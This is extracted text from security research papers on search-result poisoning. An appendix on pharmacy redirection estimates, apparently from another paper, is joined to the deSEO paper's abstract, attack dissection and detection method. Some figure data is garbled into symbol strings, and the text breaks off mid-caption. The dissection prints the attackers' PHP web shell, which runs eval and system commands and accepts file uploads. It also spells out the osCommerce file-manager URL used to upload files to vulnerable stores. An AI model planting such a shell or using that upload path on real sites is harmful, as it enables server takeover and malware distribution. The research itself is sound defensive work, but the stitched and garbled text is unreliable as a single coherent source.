ways, e.g., more blog infections and fewer source infec-
tions than results from the corresponding main list. On
the other hand, the URI breakdown in health resources
is much closer (4.9% vs. 2.4%). In all samples, the
number of results that point to legitimate pharmacies is
very small, though admittedly biggest in the drugs sam-
ple (0.5% vs. 0.1% for the extra queries).

We next take a closer look at the characteristics of the
source infections themselves. The TLD breakdown is
roughly similar, with a few exceptions. .com is found
slightly more often in the FDA drugs and extra queries
results, while .org and .edu appear a bit more often
in the results for the main sample. The drugs and extra
queries list tend to have slightly lower PageRank than the
results from the main sample, but the difference is slight.

B Estimating the number of sites involved
We also wish to compare the number of attack domains
that can be identified for different sets of queries. Fig-
ure 7 compares the overlap between each class of do-
mains for the different samples. The FDA drugs queries
identified 1 919 distinct source infections, compared to
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Figure 7: Comparing the source, redirect and pharmacy
domains observed for different query lists.

1 337 found in the main sample during the same time pe-
riod. 403 infected domains appeared in both lists.

It is unreasonable to expect any single query list to be
comprehensive and identify all attack websites. In both
of our test cases, we compared much larger query cor-
pora to a smaller list (6 500 and 1 179 versus 218). De-
spite this, in each case many domains were found exclu-
sively in the results of the smaller main sample. This is a
common outcome when trying to measure online attacks
such as phishing websites [28].

Given the difficulty in getting a truly comprehensive
query list, one alternative is to estimate the total number
of affected domains to get a better sense of an attack’s
impact. We apply capture-recapture analysis [21] based
on our incomplete samples to get an estimate of the mag-
nitude of the activity studied in this paper.

Capture-recapture analysis uses repeated sampling to
estimate populations. In its simplest form, a sample S1

is taken, then replaced into the population. A second
sample S2 is taken, and the population can be estimated
P = |S1|×|S2|

|S1∩S2| .
For the capture-recapture model to be perfectly accu-

rate, a number of assumptions must apply. Notably, the
population must be homogeneous and closed (i.e., no
new entries). These assumptions do not entirely hold
for our analysis: some websites are more likely to ap-
pear in the search results than others, and websites can
be added and removed frequently. Nonetheless, we have
computed the capture-recapture estimate in order to get
a first approximation of the greater population size. The
results are given in Figure 7. Notably, the estimates for

source infections and redirects generated by comparing
the different samples are fairly close. Both predict that
the true number of redirects to be near 500, and the num-
ber of source infections to be around 5 000-6 000. The
estimates for the number of pharmacies is more diver-
gent, with one predicting a population size of 2 523 and
the other predicting 795.
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Abstract
We perform an in-depth study of SEO attacks that

spread malware by poisoning search results for popular
queries. Such attacks, although recent, appear to be both
widespread and effective. They compromise legitimate
Web sites and generate a large number of fake pages
targeting trendy keywords. We first dissect one exam-
ple attack that affects over 5,000 Web domains and at-
tracts over 81,000 user visits. Further, we develop de-
SEO, a system that automatically detects these attacks.
Using large datasets with hundreds of billions of URLs,
deSEO successfully identifies multiple malicious SEO
campaigns. In particular, applying the URL signatures
derived from deSEO, we find 36% of sampled searches
to Google and Bing contain at least one malicious link in
the top results at the time of our experiment.

1 Introduction
The spread of malware through the Internet has increased
dramatically over the past few years. Along with tradi-
tional techniques for spreading malware (such as through
links or attachments in spam emails), attackers are con-
stantly devising newer and more sophisticated methods
to infect users. A technique that has been gaining preva-
lence of late is the use of search engines as a medium for
distributing malware. By gaming the ranking algorithms
used by search engines through search engine optimiza-
tion (SEO) techniques, attackers are able to poison the
search results for popular terms so that these results in-
clude links to malicious pages.

A recent study reported that 22.4% of Google searches
contain such links in the top 100 results [23]. Further-
more, it has been estimated that over 50% of popular key-
word searches (such as queries in Google Trends [9] or
for trending topics on Twitter [20]), the very first page of
results contains at least one link to a malicious page [19].

Using search engines is attractive to attackers because
of its low cost and its legitimate appearance. Malicious
pages are typically hosted on compromised Web servers,
which are effectively free resources for the attackers. As
long as these malicious pages look relevant to search en-
gines, they will be indexed and presented to end users.
Additionally, users usually trust search engines and often
click on search results without hesitation, whereas they

∗Work partly performed while interning at MSR Silicon Valley.
†Also affiliated with UC Santa Cruz and Collège de France.

would be wary of clicking on links that appear in unso-
licited spam emails. It is therefore not surprising that,
despite being a relatively new form of attack, search-
result poisoning is already a huge phenomenon and has
affected major search engines.

In this paper, we aim to uncover the mechanics of such
attacks and answer questions such as how attackers com-
promise a large number of Web sites, how they auto-
matically generate content that looks relevant to search
engines, and how they promote their malicious pages to
appear at the top of the search results.

In order to answer these questions, we examine a live,
large-scale search poisoning attack and study the meth-
ods used by the attackers. This attack employs over
5,000 compromised Web sites and poisons more than
20,000 popular search terms over the course of several
months. We investigate the files and scripts that attack-
ers put up on these compromised servers and reverse-
engineer how the malicious pages were generated.

Our study suggests that there are two important re-
quirements for a search-result poisoning attack to be suc-
cessful: the use of multiple (trendy) keywords and the
automatic generation of relevant content across a large
number of pages. Since trendy keywords are often pop-
ular search terms, poisoning their search results can af-
fect a large user population. Further, by generating many
fake pages targeting different keywords, attackers can ef-
fectively increase their attack coverage.

Based on these observations, we develop techniques
to automatically detect search-result poisoning attacks.
Although there exist methods for identifying malicious
content in individual Web pages [14, 22], these solutions
are not scalable when applied to tens of billions of Web
pages. Further, attackers can leverage cloaking tech-
niques to display different content based on who is re-
questing the page—malicious content to real users and
benign, search-engine-optimized content to search en-
gine crawlers. Therefore, instead of detecting individual
SEO pages, we identify groups of suspicious URLs—
typically containing multiple trendy keywords in each
URL and exhibiting patterns that deviate from other
URLs in the same domain. This approach not only is
more robust than examining individual URLs, but also
can help identify malicious pages without crawling and
evaluating their actual contents.

Using this approach, we build deSEO, a system
that automatically detects search-result poisoning attacks
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without crawling the contents of Web pages. We apply
deSEO to two datasets containing hundreds of billions of
URLs collected at different periods from Bing. Our key
results are:

1. deSEO detects multiple groups of malicious URLs,
with each malicious group corresponding to an SEO
campaign affecting thousands of URLs.

2. deSEO is able to detect SEO campaigns that employ
sophisticated techniques such as cloaking and have
varying link structures.

3. We derive regular expression signatures from de-
tected malicious URL groups and apply them to
search results on Google and Bing. The signatures
detect malicious links in the results to 36% of the
searches. At the time our experiments, these links
were not blocked by either the Google Safebrows-
ing API or Internet Explorer.

The rest of the paper is structured as follows. We be-
gin with describing the background for SEO attacks and
reviewing related work in Section 2. Next, we investigate
a large scale attack in detail in Section 3. Based on the
insights gained from the attack analysis, we present the
deSEO detection system in Section 4. In Section 5, we
apply deSEO to large datasets and report the results. We
analyze the detected SEO groups and apply the derived
signatures to filter search results in Section 6. Finally, we
conclude in Section 7.

2 Background and Related Work
Search engines index billions of pages on the Web. Many
modern search engines use variants of the PageRank al-
gorithm [17] to rank the Web pages in its search index.
The rank of a page depends on the number of incoming
links, and also on the ranks of the pages where the links
are seen. Intuitively, the page rank represents the likeli-
hood that a user randomly clicking on links will end up
at that page.

In addition to the rank of the page, search engines
also use features on the page to determine its relevance
to queries. In order to prevent spammers from gam-
ing the system, search engines do not officially disclose
the exact features used to determine the rank and rele-
vance. However, researchers estimate that over 200 fea-
tures are used [3, 6]. Among these features, the most
widely known ones are the words in the title, the URL,
and the content of the page. The words in the title and
in the URL are given high weight because they usually
summarize the content of the page.

Search Engine Optimization (SEO) is the process of
optimizing Web pages so that they are ranked higher by
search engines. SEO techniques can be classified as be-
ing white-hat or black-hat.

In white-hat SEO, the sites are created primarily with
the end-user in mind, but structured so that search engine
crawlers can easily navigate the site. Some of the white-
hat techniques are creating a sitemap, having appropriate
headings and subheadings, etc. They follow the quality
guidelines recommended by search engines [8, 29].

Black-hat SEO techniques, on the other hand, try to
game the rankings, and do not follow the search engine
guidelines. Keyword stuffing (filling the page with lots
of irrelevant keywords), hidden text and links, cloak-
ing (providing different content to crawlers and users),
redirects, and participating in link farms are considered
black-hat techniques. These practices are frowned upon
by the search engines, and if a site is caught using such
techniques, it could be removed from the search index.

To detect black-hat SEO pages, many approaches have
been proposed. Some are based on the content of the
pages [15, 5, 21], some are based on the presence of
cloaking [25, 27], while some others are based on the
link structure leading to the pages [26, 4].

The SEO attacks that we study in this paper are differ-
ent from traditional ones in that attackers leverage a large
number of compromised servers. Since these servers
were originally legitimate and their main sites still op-
erate normally even after compromise, they display a
mixed behavior and therefore are harder to detect.

Our detection methods make use of URL properties
to detect malicious pages without necessarily crawling
the pages. In this respect, our work is similar to pre-
vious work by Ma et al. [13, 12], where they build a
binary classifier to identify email spam URLs without
crawling the corresponding pages. The classifier uses
training data from spam emails. The SEO attacks we
study are very new and there are few reports on spe-
cific instances of such attacks [10]. Therefore, it is dif-
ficult to get training data that has good coverage. In ad-
dition, spam URLs have different properties than SEO
URLs. Many spam domains are new and also change
DNS servers frequently. Therefore, their system makes
use of domain-level features such as age of the domain
and the DNS-server location. Since we deal with com-
promised domains, there are no such strong features.

A recent analysis of over 200 million Web pages
by Google’s malware detection infrastructure discovered
nearly 11,000 domains that are being used to serve mal-
ware in the form of FakeAV software [18]. This work
looks at the prevalence and growth of FakeAV as a means
for delivering malware. Our work, on the other hand,
looks at the mechanisms used by the perpetrators to game
search engines for the effective delivery of this kind of
malware. By developing methods to detect SEO attacks,
we also detect a large number of compromised domains,
but without having to inspect them individually.
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Figure 1: An overview of how the attack works. The victim issues a popular query to a search engine (1),
and clicks one of the results, which happens to be a malicious page hosted on a compromised server (2). The
compromised server forwards the request to a redirection server (3). The redirection server picks an exploit
server and redirects the victim to it (4). The exploit server tries to exploit the victim’s browser or displays a
scareware page (5) to infect the victim through social engineering.

3 Dissecting an SEO Attack
In order to gauge the prevalence of search poisoning at-
tacks, we pick a handful of trendy search terms and is-
sue queries on Google and Bing. Consistent with pre-
vious findings, we find that the results to around 36%
of the search results contain malicious links (i.e., links
that redirect to pages serving malware), with many of the
links appearing on the first page of results.

Figure 1 shows, from a legitimate user’s perspective,
how a victim typically falls prey to an SEO keyword-
poisoning attack. The attackers poison popular search
terms so that their malicious links show up in the search
results for those terms. When the victim uses a search en-
gine to search for such popular terms, some of the results
would point to servers controlled by attackers. These are
usually legitimate servers that have been compromised
by the attackers and used to host SEO pages. Clicking
on the search results leads to an SEO page that redirects,
after multiple hops, to an exploit server that displays a
scareware page. For instance, the scareware page might
depict an anti-virus scan with large flashy warnings of
multiple infections found on the victim system, scaring
the user into downloading and installing an “anti-virus”
program. The exploit servers could also try to directly
compromise the victim’s browser.

To understand exactly how these malicious links end
up highly ranked in the search results for popular queries,
we pick a few malicious links and examine them closely.
Our first observation is that the URLs have similar
structure—they all correspond to php files and the search
terms being poisoned are present in the URL as argu-
ments to the php file. The SEO page contains content
related to the poisoned terms, and also links to URLs of
a similar format. These URLs point to SEO pages on

other domains that have also been compromised by the
same group of attackers. By crawling these links succes-
sively till we reach a fixed point, i.e., till we see no more
new links, we can identify the entire set of domains in-
volved in a search poisoning attack.

In the rest of this section, we study one particular
SEO attack, which started in August 2010, was active for
around 10 weeks, and included nearly 37 million SEO
pages hosted on over 5,000 compromised servers. Ana-
lyzing the php script that generates the SEO page gives us
greater insight into the mechanics of this attack. Usually,
the source of the php files cannot be obtained directly
since accessing the file causes the Web server to execute
the php commands and display the output of the execu-
tion. In this case, however, we found misconfigured Web
servers that did not execute the files, but instead allowed
us to download the sources. By examining the source
files and log files (the locations of the log files were ob-
tained from the source php file) stored by attackers on
the Web server, we get a better understanding of the at-
tack. Note that all the files we examined were publicly
accessible without the use of any passwords.

Relying on all of this publicly accessible informa-
tion, we examine the techniques used by the attackers
and identify patterns that help detect other similar at-
tacks. There are three major players in this attack: com-
promised Web servers, redirection servers, and exploit
servers. We discuss each of them in detail next.

3.1 Compromised Web servers

Finding vulnerable servers
The servers were likely compromised through a vulner-
ability in osCommerce [16], a Web application used to
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manage shopping sites. We believe the exploit happened
through osCommerce because all of the compromised
sites were running the software, and the fake pages were
set up under a directory belonging to osCommerce. Ad-
ditionally, this software has several known vulnerabili-
ties that have remained unpatched for several years, so is
a rather easy target for an attacker. Also, the databases
associated with shopping sites are likely to store sensitive
information such as mailing addresses and credit card de-
tails of customers. This offers an additional incentive for
attackers to target these sites. We believe that vulner-
able servers running osCommerce are discovered using
search engines. Attackers craft special queries designed
to match the content associated with these Web services
and issue these queries to search engines such as Bing or
Google to find Web servers running this software [11].

Compromising vulnerable servers
How does the compromise happen? Surprisingly,
this is the easiest part of the whole operation. The
primary purpose of compromising the site is to store
and serve arbitrary files on the server, and to execute
commands on the server. With vulnerable installs of
osCommerce, this is as easy as going to a specific URL
and providing the name of the file to be uploaded. For
example, if www.example.com/store is the site,
then visiting www.example.com/store/admin/
file_manager.php/login.php?action=
processuploads and specifying a filename as a
POST variable will upload the corresponding file to the
server.

Hosting malicious content
Typically, attackers upload php scripts, which allow them
to execute commands on the compromised machine with
the privilege of the Web server (e.g., Apache). In many
cases, attackers upload a graphical shell or a file man-
ager (also written in php), so that they can easily navi-
gate the files on the server to find sensitive information.
The shell includes functions that make it easy for the at-
tackers to perform activities such as a brute-force attack
on /etc/passwd, listening on a port on the server, or
connecting to some remote address.

In our case, the attacker uploads a simple php script,
shown in Figure 2. This file is added to the images/
folder and is named something inconspicuous, so as to
not arouse the suspicion of the server administrator. This
script allows the attacker to either run a php command,
run a system command, or upload a file to the server.
A newer version of the script (seen since October 9th,
2010) additionally allows the attacker to change the per-
missions of a file.

Once this script is in place, the attacker can add files
to the server for setting up fake pages that will be in-

<?php   
  $e=@$_POST['e'];  
  $s=@$_POST['s'];  
  if($e) { 
     eval($e);  
  }  
  if($s) { 
     system($s);  
  }  
  if($_FILES['f']['name']!='') { 
     move_uploaded_file( 
        $_FILES['f']['tmp_name'], 
        $_FILES['f']['name']);  
  } 
?> 
!

Figure 2: The php script uploaded by the attackers to
the compromised server.

dexed by search engines. These files include an html
template, a CSS style file, an image that looks like a
YouTube player window, and a php script (usually named
page.php) that puts all the content together and gener-
ates an html page using the template. The URLs to the
pages set up by the attackers are of the form:
site/images/page.php?page=<keyphrase>.
The set of valid keyphrases is stored in another file
(key.txt), which is also uploaded by the attackers.
Most of the keyphrases in the file are obtained from
Google hot trends [9] and Bing related searches.

In some other attacks, we observe that the attackers
make use of cloaking techniques [25,27] while delivering
malware, i.e., they set up two sets of pages and provided
non-malicious pages to search engine bots, while serving
malicious pages to victims. In this specific attack, how-
ever, the attackers do not use cloaking. Instead, the same
page is returned to both search engines and regular users,
and the page makes use of javascript and flash to redirect
victims to a different page. The redirection is triggered
by user actions (mouse movement in this case). The ra-
tionale here is that search engine crawlers typically do
not generate user actions, so will not know that visitors
will be redirected to another URL. Using such flash code
for redirection makes detection much harder.

The SEO page
The bulk of the work in creating the SEO page and links
is done by the page.php script uploaded to the server.
This is an obfuscated php script, and like many obfus-
cated scripts, it uses a series of substitution ciphers fol-
lowed by an eval function to execute the de-obfuscated
code. By hooking into the eval function in php, we get
the unobfuscated version. The script performs three ac-
tivities:

1. Check if search engine: When the page is re-
quested, the script first checks if the request is from
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a search engine crawler. It does this by checking
the user-agent string against a list of strings used
by search engines. If the request is from a search
crawler, the script logs the time of the request, the IP
address of the requester, the user-agent string, and
the exact URL requested. Since this attack does not
use any cloaking, this check seems to be only for
logging purposes.

2. Generate links: The script loads the html tem-
plate, and fills in the title and other headings us-
ing the keyphrase in the URL. It picks 40 random
keyphrases from key.txt and generates links to
the same server using these keyphrases. It then
picks five other keyphrases from key.txt and
generates links to five other domains (randomly
picked from a set of other domains that have also
been compromised by the attacker). In all, there are
45 links to similar pages hosted on this and other
compromised servers.

3. Generate content: Finally, the script also gen-
erates content that is relevant to the keyphrase in
the URL. It does this with the help of search en-
gines. It queries google.com for the keyphrase,
and fetches the top 100 results, including the URLs
and snippets. It also fetches the top 30 images from
bing.com for the same keyphrase. The script then
picks a random set of 10 URLs (along with associ-
ated snippets) and 10 images and merges them to
generate the content page.

The content generated for each keyphrase is stored on
the server in a cached file, and all subsequent requests for
the page are satisfied from the cache, without having to
regenerate the content. We believe that the presence of
highly relevant information on the page, along with the
dense link structures, both within the site and across dif-
ferent compromised sites, result in increasing the pager-
anks of the Web pages generated by the attacker.

3.2 Redirection servers
The second component in the attack framework is the
redirection server, which is responsible for redirecting
the victim to a server that actually performs the exploit.
Typically, there are one to three additional layers of redi-
rection, before the victim reaches the exploit server. In
our case, when a victim visits the compromised site and
moves the mouse over the fake YouTube player, he or
she gets redirected (using javascript) to another compro-
mised domain, which again performs the redirection. We
observed two major domains being used for redirection,
and analyzed the working of the redirection server.

When the victim reaches the redirection server, it
queries a service named NailCash to obtain the URL for

Total .in .co.cc .net .com
191 16 28 73 74

Table 1: Breakdown of exploit server TLDs.

redirection. The NailCash service is accessed via an http
request to feed2.fancyskirt.com. The redirection
server provides as arguments an API key, a command,
and a product ID. In this attack, the redirection server
picks randomly among two API keys. It specifies the
command as cmd=getTdsUrl, and the product ID as
productId=3 (which refers to FakeAV).

During our observation, the URLs requested were only
for FakeAV, but it is likely that the same redirection ser-
vice is used for getting URLs for other types of malware.

The redirection server caches the received URL for
10 minutes, and any requests arriving within those 10
minutes are satisfied from the cache without making a
request to feed2.fancyskirt.com. Between August
8th, 2010 and October 13th, 2010 the redirection server
redirected victims to 453 distinct domains. These do-
mains were very similar in name, and were all hosted on
just two /24 IP prefixes. One of them was located in
Illinois and the other in Amsterdam.

3.3 Exploit servers
Finally, the attacker hosts the actual malicious content on
an exploit server. We found 191 different domains being
used by the exploit server over time. All the domains
were hosted on two IP addresses, one located in Quebec,
Canada and the other in Luxembourg. The exploit server
does not display the scareware page if the user agent is
suspicious (such as a search engine crawler), or if the
referrer is missing. It also refuses connections from IP
addresses belonging to search engine companies. Most
of these domains are either .com, .net, or .co.cc, or .in,
and the breakdown is shown in Table 1.

3.4 Results and observations
We present some of the results from our study. Starting
with one compromised site, we were able to follow the
links to other compromised sites and eventually map the
whole network of compromised sites used in this attack.
In all, we were able to identify 5400 domains, of which
around 5000 were active, and the others were either down
or had been cleaned up.

Link structure
Figure 3 shows the number of compromised domains
each site links to. On average, each domain linked to 202
other domains, with a median value of 159. In addition,
each compromised domain also linked to around 80,000
legitimate domains, since each compromised server had
around 8,000 keyphrases, each corresponding to an SEO

5



304 20th USENIX Security Symposium USENIX Association

!"

#!!"

$!!"

%!!"

&!!"

'!!"

(!!"

!" !)$" !)&" !)(" !)*" #"

!
"#

$%
&'
()
'(
"*
+,-
./
0'

1&234(.'()'3(#5&(#-0%6'0-*%0'

Figure 3: The number of other compromised sites
each site links to. The degree distribution indicates a
dense linking structure.
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Figure 4: The number of sites compromised by the
attackers each day over a period of three months.

page, linking to 10 different sites obtained from a Google
search. The dense link structure helps boost the pager-
anks of these fake pages in the query results.

Timeline of compromise
Figure 4 shows the number of sites compromised on each
day. We define the time of compromise as the time at
which the malicious php files were added to the server.
This time is obtained from the directory listing on the
server. We find the compromise volume to be rather
bursty, with most of the servers getting compromised in
the initial phase of the attack.

Once the sites are compromised and set up to serve
the fake pages, we look at how soon the first visit from
search engine crawlers appear.

In Figure 5, we see that almost half of the compro-
mised sites are crawled within four hours of compromise,
and nearly 85% of the sites are crawled within a day. This
could either be because search engine crawlers are very
aggressive at crawling new links, or because the attackers
are submitting their sites actively to the search engines
through the Webmaster tools associated with each search
engine. The dense link structure might also account for
the quick crawling time of these pages.

Distribution of keyphrases
Each compromised server sets up an SEO page for each
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Figure 5: The interval between a site getting compro-
mised and the SEO page getting crawled by a search
engine.

Fraction of keyphrases, rank-ordered by occurrence

Figure 6: The frequency with which each keyphrase
occurs across the compromised sites.

of the keyphrases present in the file. Across all the com-
promised sites, we found 38 different keyphrase files,
with a total of 20,145 distinct keyphrases.

Figure 6 plots the distribution of the keyphrases across
the 38 files. The most popular phrases appear in 37 of
the 38 files, while nearly 15% of the phrases appear in
only a single file. In the median case, each phrase is seen
in 11 different files. To check whether Google trends is
one of the sources of these keyphrases, we consider all
the keywords which were listed as Google trends over a
four month period between May 28th, 2010 and Septem-
ber 27th, 2010. Out of the 2,125 distinct trend phrases
in this period, 2,018 (≈ 95%) were keyphrases used by
the attackers. Exploiting trendy keywords is thus another
characteristic of search poisoning attacks to increase the
content relevancy.

Traffic from victims
This was a large scale attack exploiting over 5,000 com-
promised sites, each hosting close to 8,000 SEO pages—
for a total of over 40 million SEO pages. However, this
does not tell us how successful the attack actually was.
We would need to take into account what fraction of
these pages were indexed by search engines, how many
pages showed up in top search results, and how many
users clicked on links to these SEO pages. Thus, the
measure of success of this SEO campaign would be the
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Figure 7: The arrival of requests at the redirection
server.

number of victims who were actually shown the fake
anti-virus page.

Unfortunately, the SEO pages on the compromised
sites do not log information about who visited each link
(unless it is a search engine crawler). However, all the
SEO pages cause the user to get redirected to one of two
redirection servers. By monitoring the logs on the redi-
rection servers, we estimate the number of visits to the
FakeAV pages.

We started monitoring the redirection server on Au-
gust 27th, 2010, and so missed the first 20 days of the at-
tack. As explained in Section 3.2, the redirection server
fetches the redirect-URL from the NailCash service, and
each time it does this, it adds an entry to a log file. How-
ever, since the URL is cached for 10 minutes, we miss
any requests which were satisfied by the cached URL of
the exploitation server. Figure 7 illustrates the situation.
The solid arrows indicate observed requests (which were
written to the log on the redirection server). The grey
area denotes the interval when request are served from
the cache, and the dotted arrows denote requests which
we do not observe because they arrived before the cache
entry expired.

In order to estimate the total traffic volume from the
observed requests, we make the common assumption that
the requests follow a Poisson arrival process. This im-
plies that the inter-arrival times are exponentially dis-
tributed with mean λ. Since the exponential distribution
is memoryless, the time to the next arrival has the same
distribution at any instant.

Consider again Figure 7. The first request is observed
at time t = τ0. Since the inter-arrival time is memo-
ryless, the expected time to the next event is the same
whether we start our observation at t = τ0 or at any other
t (including t = τ0 + T ). Therefore, we start our obser-
vation at t = τ0 +T , where T is the duration till which a
fetched redirect URL is cached, and the time to the next
arrival δ1 is a sample from our exponential distribution.
Similarly, δ2, δ3, . . . , δn are other samples from this dis-
tribution. The mean is then given by:

λ =
1
n
×

n∑

i=1

δi
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Figure 8: The estimated number of victims redirected
to the FakeAV sites on each day.

This is valid only for homogeneous exponential func-
tions, and since Web site visits tend to exhibit diurnal
patterns, we split the time into chunks of 2 hours, during
which we assume the inter-arrival distribution to be ho-
mogeneous. Once we have the mean inter-arrival time λi

for time interval ti, we can compute the expected number
of visits nvis as:

nvis =
n∑

i=1

len(ti)
λi

We use this formula to estimate the number of vis-
its to the redirection server, and plot the results in Fig-
ure 8. We observe a peak on September 2nd, and then
a sudden drop after that for a few days. We believe the
drop occurred because the redirection server was added
to browser blacklists. On September 7th, the redirection
server was moved to another domain, and we start seeing
traffic again. The redirection servers stopped working on
October 21st, and that marked the end of the SEO cam-
paign. During this period, we estimate the total number
of visits to be 60,248, and by extrapolating this number
to the start of the campaign (August 7th), we estimate
that there were over 81,000 victims who were taken to
FakeAV sites. The large number of visits suggests that
the attack is quite successful in attracting legitimate user
populations.

Multiple Compromises
Perhaps unsurprisingly, we found that many of these vul-
nerable servers were compromised multiple times by dif-
ferent attackers. We speculate that these were multiple
attackers based on the timestamps of when the files were
added to the server, and the contents of the files. It is pos-
sible that the same attacker uploaded multiple files to the
server at different times, but in many cases we see mul-
tiple php scripts which offer almost identical functional-
ity, but are slightly different in structure. Also, since we
observed the bursty nature of compromises, by looking
at timestamps of these uploaded files and clustering the
different sites by this timestamp, we can potentially find

7
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groups of sites which were compromised by different at-
tackers at different times.

This observation suggests that attackers share compro-
mised server infrastructure, and thus detecting these sites
can effectively help search engines remove a wide class
of malicious content.

4 Detection Method
The previous section shows how search-result poison-
ing attacks are typically performed. In this section, we
present our system deSEO for automatically detecting
such attacks. This task is challenging as it is expensive
to test the maliciousness of every link on the Web us-
ing content-based approaches. Even if we test only links
that contain trendy keywords, it is not straightforward as
many SEO pages may look legitimate in response to most
requests; they deliver malicious content only when cer-
tain environmental requirements are met, e.g., the use of
a vulnerable browser, the redirection by search engines,
or user actions such as mouse movements. Without care-
ful reverse engineering, it is hard to guess the right envi-
ronment settings needed to obtain the malicious content
on the page.

To automatically detect the SEO links, we revisit the
attack we analyzed in the previous section. Our study
yields three key observations of why the SEO attack is
successful:

1. Generation of pages with relevant content.

2. Targeting multiple popular search keywords to in-
crease coverage.

3. Creating dense link structures to boost pagerank.

Attackers first need to automatically generate pages
that look relevant to search engines. In addition, one
page alone may not be able to bring them many victims,
so attackers often generate many pages to cover a wide
range of popular search keywords. To promote these
pages to the top of the search results, attackers need to
hijack the reputation of compromised servers and create
dense link structures to boost pagerank.

We draw on the first two observations when designing
our detection method. We do not look at the link struc-
tures of Web pages because that would require crawling
and downloading all pages to extract the cross-link in-
formation. In this paper, we show that studying just the
structure of URLs works well enough to detect SEO at-
tacks of this type.

Further, we observe that SEO links are often set up on
compromised Web servers. These servers usually change
their behavior after being hacked: many new links are
added, usually with different URL structures from the
old URLs. In addition, since attackers control a large

number of compromised servers and generate pages us-
ing scripts, their URL structures are often very similar
across compromised domains. Therefore, we can recog-
nize SEO attacks by looking for newly created pages that
share the same structure on different domains. By doing
so, we can identify a group of compromised servers con-
trolled by the same attacker (or the same SEO campaign),
rather than reasoning about individual servers.

At a high level, deSEO uses three steps for detection.
The first step is to identify suspicious Web sites that ex-
hibit a change in behavior with respect to their own his-
tory. In the second step, we derive lexical features for
each suspicious Web site and cluster them. In the last
step, we perform group analysis to pick out suspicious
SEO clusters. Next, we explain these three steps in de-
tail.

4.1 History-based detection
In the first step, deSEO identifies suspicious Web sites
that may have been compromised by attackers. SEO
pages typically have keywords in the URL because
search engines take those into consideration when com-
puting the relevance of pages for a search request [7].
So, we study all URLs that contain keywords. Option-
ally, we could also focus on URLs that contain popular
search keywords because most SEO attacks aim to poi-
son these keywords so as to maximize their impact and
reach many users.

While it is common for Web sites to have links that
contain keywords, URLs on compromised servers are all
newly set up, so their structures are often different from
historical URLs from the same domains.

Specifically, for each URL that contains keywords
delimited by common separators such as + and -,
we extract the URL prefix before the keywords.
For example, consider the following URL http:
//www.askania-fachmaerkte.de/images/
news.php?page=lisa+roberts+gillan.
The keywords in the URL are lisa roberts

gillan and the URL prefix before the keywords
is http://www.askania-fachmaerkte.de/
images/news.php?page=.

If the corresponding Web site did not have pages start-
ing with the same URL prefix before, we consider the
appearance of a new URL prefix as suspicious and fur-
ther process them in the next step.

4.2 Clustering of suspicious domains
In the second step, deSEO proceeds to cluster URLs so
that malicious links from the same SEO campaign will
be grouped together, under the assumption that they are
generated by the same script.

Similar to previous URL-based approaches for spam
detection [13,12], we extract lexical features from URLs.
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Empirically, we select the following features:

1. String features: separator between keywords, argu-
ment name, filename, subdirectory name before the
keywords.

2. Numerical features: number of arguments in the
URL, length of arguments, length of filename,
length of keywords.

3. Bag of words: keywords.

In our previous URL example, the separator between
keywords is “+”, the argument name is page, the file-
name is news.php, the directory before the keywords
is images, the number of arguments in the URL is one,
the length of arguments is four, the length of filename
is nine, and the bag of words is {lisa, roberts,
gillan}

As most malicious URLs created on the same do-
main have similar structure, we aggregate URL features
together by domain names and study the similarities
across domains. Note that we consider sub-domains sep-
arately. For example, abcd.blogspot.com is con-
sidered a separate domain because it is possible for a sub-
domain to get compromised rather than the entire domain
blogspot.com. When aggregating for string features,
we take the feature value that covers the most URLs in
the domain; for numerical features, we take the median;
and for bags of words, we take the union of bags.

In contrast to previous work that use URLs for spam
detection, where a binary classification of URL is suffi-
cient [13, 12], our goal is to cluster URLs. We adopt
the widely used K-means++ method [2]. Initially, we se-
lect K centroids that are distant from each other. Next
we apply the K-means algorithm to compute K clusters.
We select and output clusters that are tight, i.e., having
low residual sum of squares (the squared distance of each
data point from the cluster centroid). For the remaining
data points, we iteratively apply the K-means algorithm
until no more big clusters (with at least 10 domains) can
be selected.

Note that neither the computation of distances be-
tween data points nor the calculation of the cluster cen-
troid is straightforward because we have many features
with some of them being non-numerical values. We
normalize feature dimensions so that distances fall into
a weighted high-dimensional space, with the values of
each dimension ranging from 0 to 1. For string features,
identical values have a distance of 0 and the distance is
set to 1 otherwise. For numerical features, we define
the distance as the difference in numerical values, nor-
malized by the maximum value seen in the dataset. For
bags of words features, the distance between two bags
of words A = a1, a2, ..., an and B = b1, b2, ..., bm is

defined as ‖A∩B‖
‖A∪B‖ . When picking a weight for each di-

mension, we give a higher weight (the value 2) to string
features as it is relatively infrequent for different URLs to
have identical string features. For all other dimensions,
we give an equal weight of 1.

When computing centroids, we adopt the same
method we use to aggregate URL features into domain
features, treating all URLs in a cluster as if they were
from the same domain. If we find a cluster with the resid-
ual error of squares normalized by the cluster size lower
than the preset threshold, we output the cluster. Empiri-
cally, we find both the weight selection and the threshold
selection are not sensitive to the results as most malicious
clusters are very tight in distance and stand out easily.

4.3 Group analysis
Finally, we perform group analysis to pick compromised
domain groups and filter legitimate groups. In the previ-
ous steps, we leverage the fact that compromised sites
change behavior after the compromise and their link
structures are similar. In this step, we leverage another
important observation, namely that SEO links in one
campaign share a similar page structure (not just the
URL structure).

One way to measure the similarity of two Web page
structures is to compare their parsed HTML tree struc-
ture [21]. This approach is heavy-weight because we
need to implement a complete HTML page parser, de-
rive the tree representations, and perform tree difference
computations. For simplicity, we focus on simpler fea-
tures that are effective at characterizing pages. For in-
stance, we simply use the number of URLs in each page,
and we find this feature works well empirically.

We sample N (set to 100) pages from each group
and crawl these pages. Then we extract the number of
URLs per page and build a histogram. Figure 9 plots
the histogram of the number of URLs of a legitimate
group, while Figure 10 plots the histogram for a mali-
cious group. We can clearly see that the legitimate group
has a diverse number of URLs. But the malicious one
has very similar pages with almost identical number of
URLs per page. The small fraction of zero link pages
are caused by pages that no longer exist (possibly cor-
responding to compromised Web servers that have since
been cleaned up).

We normalize each histogram and compute peaks in
the normalized histograms. If the histogram has high
peak values, we output the group as a suspicious SEO
group and manually check the group. Although here we
still use manual investigation to pick out the final groups,
the amount of work is actually small. We show in Sec-
tion 5 that deSEO outputs less than 20 groups. There-
fore, a human expert only needs to check several sample
URLs in each group, rather than reasoning about millions

9



308 20th USENIX Security Symposium USENIX Association

0
0.01
0.02
0.03
0.04
0.05
0.06
0.07
0.08
0.09
0.1

10 30 50 70 90 11
0

13
0

15
0

17
0

19
0

21
0

23
0

25
0

27
0

30
0

36
0

40
0

42
0

51
0

67
0

Fr
ac
tio

n  
of
  p
ag
es
    

#  of  URLs  

Figure 9: An example legitimate group that has diverse
